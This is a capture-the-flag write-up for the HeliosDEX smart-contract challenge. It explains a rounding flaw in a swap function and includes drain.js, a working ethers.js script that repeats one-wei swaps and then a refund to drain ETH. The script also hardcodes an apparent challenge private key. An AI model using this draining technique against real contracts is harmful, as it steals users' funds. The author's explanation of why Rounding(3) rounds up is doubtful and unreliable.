blockchain

HeliosDEX Writeup

Cyber Apocalypse 2025

Solved by Starry-Lord

We have a Setup.sol and a HeliosDEX.sol to review. In HeliosDEX.sol this flaw was found:

function swapForELD() external payable underHeliosEye {
        uint256 grossELD = Math.mulDiv(msg.value, exchangeRatioELD, 1e18, Math.Rounding(0));
        uint256 fee = (grossELD * feeBps) / 10_000;
        uint256 netELD = grossELD - fee;

        require(netELD <= reserveELD, "HeliosDEX: Helios grieves that the ELD reserves are not plentiful enough for this exchange. A smaller offering would be most welcome");

        reserveELD -= netELD;
        eldorionFang.transfer(msg.sender, netELD);

        emit HeliosBarter(address(eldorionFang), msg.value, netELD);
    }

    function swapForMAL() external payable underHeliosEye {
        uint256 grossMal = Math.mulDiv(msg.value, exchangeRatioMAL, 1e18, Math.Rounding(1));
        uint256 fee = (grossMal * feeBps) / 10_000;
        uint256 netMal = grossMal - fee;

        require(netMal <= reserveMAL, "HeliosDEX: Helios grieves that the MAL reserves are not plentiful enough for this exchange. A smaller offering would be most welcome");

        reserveMAL -= netMal;
        malakarEssence.transfer(msg.sender, netMal);

        emit HeliosBarter(address(malakarEssence), msg.value, netMal);
    }

    function swapForHLS() external payable underHeliosEye {
        uint256 grossHLS = Math.mulDiv(msg.value, exchangeRatioHLS, 1e18, Math.Rounding(3)); <----- That's the issue here
        uint256 fee = (grossHLS * feeBps) / 10_000;
        uint256 netHLS = grossHLS - fee;
        
        require(netHLS <= reserveHLS, "HeliosDEX: Helios grieves that the HSL reserves are not plentiful enough for this exchange. A smaller offering would be most welcome");
        

        reserveHLS -= netHLS;
        heliosLuminaShards.transfer(msg.sender, netHLS);

        emit HeliosBarter(address(heliosLuminaShards), msg.value, netHLS);
    }

According to OpenZeppelin’s documentation for the Math Library:

enum Rounding {
    Down, // Toward negative infinity --> Math.Rounding(0)
    Up, // Toward infinity --> Math.Rounding(1)
    Zero // Toward zero --> Math.Rounding(2)
}

This means Math.Rounding(3) will cause unexpected behaviors, here are the key points: Since 3 isn’t defined, the compiler treats it as an undefined value, falling back to default rounding behavior which is Up 🎉🎉🎉

This rounding made me rich after 250 swaps! Just had to make sure to only swap 1 Wei each time and call the refund function once only, as per the contracts.

drain.js script

const { ethers } = require("ethers");

// Your setup info
const RPC_URL = "http://94.237.57.122:59310";
const PLAYER_PRIVATE_KEY = "0xc355db294444232fe7a8e308550e87f2f79c617b7f04541d2f44348235dbf133";
const PLAYER_ADDRESS = "0xF44279bF0072cd7BD98F4b994d3E7ad7ed15Cd45";

// Contracts
const SETUP_ADDRESS = "0xD05A41b677783bAB39B68499F8f11f8066A61545";

const SETUP_ABI = [
  "function isSolved() public view returns (bool)",
  "function TARGET() public view returns (address)"
];

const HELIOS_DEX_ABI = [
  "function swapForHLS() external payable",
  "function oneTimeRefund(address item, uint256 amount) external",
  "function heliosLuminaShards() external view returns (address)",
  "function hasRefunded(address user) external view returns (bool)"
];

const ERC20_ABI = [
  "function approve(address spender, uint256 amount) external returns (bool)",
  "function balanceOf(address account) external view returns (uint256)"
];

async function main() {
  const provider = new ethers.providers.JsonRpcProvider(RPC_URL);
  const wallet = new ethers.Wallet(PLAYER_PRIVATE_KEY, provider);

  const setupContract = new ethers.Contract(SETUP_ADDRESS, SETUP_ABI, wallet);
  const targetAddress = await setupContract.TARGET();
  const dex = new ethers.Contract(targetAddress, HELIOS_DEX_ABI, wallet);

  const hlsAddress = await dex.heliosLuminaShards();
  const hlsToken = new ethers.Contract(hlsAddress, ERC20_ABI, wallet);

  console.log(`Connected to HeliosDEX at: ${targetAddress}`);

  // Exploit: repeatedly swap very small ETH amounts to get HLS due to faulty rounding
  const exploitValue = ethers.utils.parseUnits("1", "wei"); // smallest possible ETH amount
  const iterations = 250; // Do multiple swaps to accumulate tokens efficiently

  console.log(`Starting exploit with ${iterations} swaps of 1 wei each...`);
  for (let i = 0; i < iterations; i++) {
    const txSwap = await dex.swapForHLS({ value: exploitValue });
    await txSwap.wait();
    console.log(`Swap #${i + 1} completed.`);
  }

  // Check accumulated HLS balance
  const hlsBalance = await hlsToken.balanceOf(PLAYER_ADDRESS);
  console.log(`Accumulated HLS balance: ${ethers.utils.formatUnits(hlsBalance, 18)} HLS`);

  // Approve the DEX to spend tokens
  const approveTx = await hlsToken.approve(targetAddress, hlsBalance);
  await approveTx.wait();
  console.log("Approved DEX to spend HLS tokens.");

  // Perform refund once to gain ETH
  const hasRefunded = await dex.hasRefunded(PLAYER_ADDRESS);
  if (!hasRefunded) {
    const refundTx = await dex.oneTimeRefund(hlsAddress, hlsBalance, { gasLimit: 1000000 });
    await refundTx.wait();
    console.log("Refund executed successfully.");
  } else {
    console.log("Refund already executed previously.");
  }

  const playerBalance = await provider.getBalance(PLAYER_ADDRESS);
  console.log(`Final player's ETH balance: ${ethers.utils.formatEther(playerBalance)} ETH`);

  const solved = await setupContract.isSolved();
  if (solved) {
    console.log("Challenge Solved! Player has 20 ETH or more.");
  } else {
    console.log("Not solved yet, consider increasing iterations.");
  }
}

main().catch((error) => {
  console.error("Error during exploit execution:", error);
});
Published on : 29 Mar 2025